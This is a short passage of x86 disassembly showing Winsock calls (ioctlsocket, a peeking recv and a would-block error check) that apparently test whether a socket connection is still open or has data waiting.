call sub.WS2_32.dll_ioctlsocket
test eax, eax
jne 0x100257e9
push 2
push edi
lea eax, [ebp - 0x4028]
push eax
push dword [ebp + 8]
call sub.WS2_32.dll_recv
mov edi, eax
cmp edi, 0xffffffff
jne 0x10025833
call sub.WS2_32.dll_WSAGetLastError
cmp eax, 0x2733
je 0x10025833
xor edi, edi
lea eax, [ebp + 0x14]
push eax
push esi
push dword [ebp + 8]
mov dword [ebp + 0x14], ebx
call sub.WS2_32.dll_ioctlsocket
test eax, eax
jne 0x100257e9
cmp edi, ebx
setne al
jmp 0x100257eb